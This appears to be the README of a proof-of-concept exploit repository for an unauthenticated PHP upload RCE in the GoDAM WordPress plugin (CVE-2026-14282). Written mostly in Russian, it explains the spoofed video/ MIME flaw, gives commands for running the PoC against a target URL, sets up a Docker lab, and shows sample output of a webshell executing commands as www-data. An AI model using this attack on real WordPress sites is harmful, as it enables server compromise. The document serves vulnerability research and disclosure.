
GoDAM WordPress plugin <= 1.12.2 unauthenticated file upload RCE (CVE-2026-14282)
Автор: nullwhisper
Назначение: только авторизованные исследования безопасности / проверка уязвимостей.
Версии плагина GoDAM для WordPress <= 1.12.2 регистрируют поле WPForms
под названием godam_record. Обработчик загрузки save_video_file()
подключается к публичному действию wpforms_process_before_filter, поэтому
он выполняется до любой проверки аутентификации. Обработчик доверяет
управляемому атакующим заголовку Content-Type, принимает PHP-файл, если
тип MIME начинается с video/, и перемещает его в обслуживаемую веб-сервером
директорию wp-content/uploads/godam/wpforms/.
Это позволяет неаутентифицированному атакующему загружать и выполнять
произвольный PHP-код.
.
├── cve_2026_14282_poc.py # Main PoC
├── lab/
│ ├── docker-compose.yml # WordPress lab
│ └── setup.php # Creates a WPForms form with GoDAM field
├── requirements.txt
└── README.md
pip3 install -r requirements.txt
python3 cve_2026_14282_poc.py -u https://target.com/page-with-form
Скрипт автоматически определяет ID формы WPForms и ID поля GoDAM. Если на странице несколько форм или определение не сработало, используйте:
python3 cve_2026_14282_poc.py -u https://target.com/page-with-form \
--form-id 4 --field-id 1 --cmd "whoami"
Скачайте уязвимые плагины (не распространяйте бинарные файлы):
mkdir -p lab/wpforms-lite lab/godam
cd lab/wpforms-lite
wget https://downloads.wordpress.org/plugin/wpforms-lite.latest-stable.zip
unzip wpforms-lite.latest-stable.zip
rm wpforms-lite.latest-stable.zip
cd ../godam
wget https://downloads.wordpress.org/plugin/godam.1.12.2.zip
unzip godam.1.12.2.zip
rm godam.1.12.2.zip
cd ../..
Запустите стенд:
cd lab
docker compose up -d
Пройдите установщик WordPress по адресу http://127.0.0.1:8092.
Установите и активируйте плагины, затем создайте форму и тестовую страницу:
docker exec -i lab-wpcli-1 wp plugin activate wpforms-lite --allow-root
docker exec -i lab-wpcli-1 wp plugin activate godam --allow-root
docker exec -i lab-wpcli-1 php /tmp/setup.php
Запустите PoC:
python3 cve_2026_14282_poc.py -u 'http://127.0.0.1:8092/?page_id=7' --cmd 'echo PWNED'
Протестировано на WordPress 6.8 + WPForms Lite latest + GoDAM 1.12.2.
[*] Detecting WPForms form and GoDAM field...
[*] Found form ID 4, GoDAM field(s): 1
[*] Trying upload via field 1...
[+] Shell uploaded and executed: http://127.0.0.1:8092/wp-content/uploads/godam/wpforms/godam-shell.php
[+] Output: GODAM-RCE-Linux ... uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Command output:
GODAM-RCE-Linux ... PWNED
Этот репозиторий содержит только PoC и файлы оркестрации лабораторного стенда. Бинарные файлы уязвимых плагинов исключены, чтобы избежать раздувания репозитория и проблем с распространением. Скачайте конкретные уязвимые версии с WordPress.org для собственного стенда.
Этот инструмент предназначен только для авторизованного тестирования безопасности и исследований. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за неправомерное использование или ущерб, причинённый этим кодом.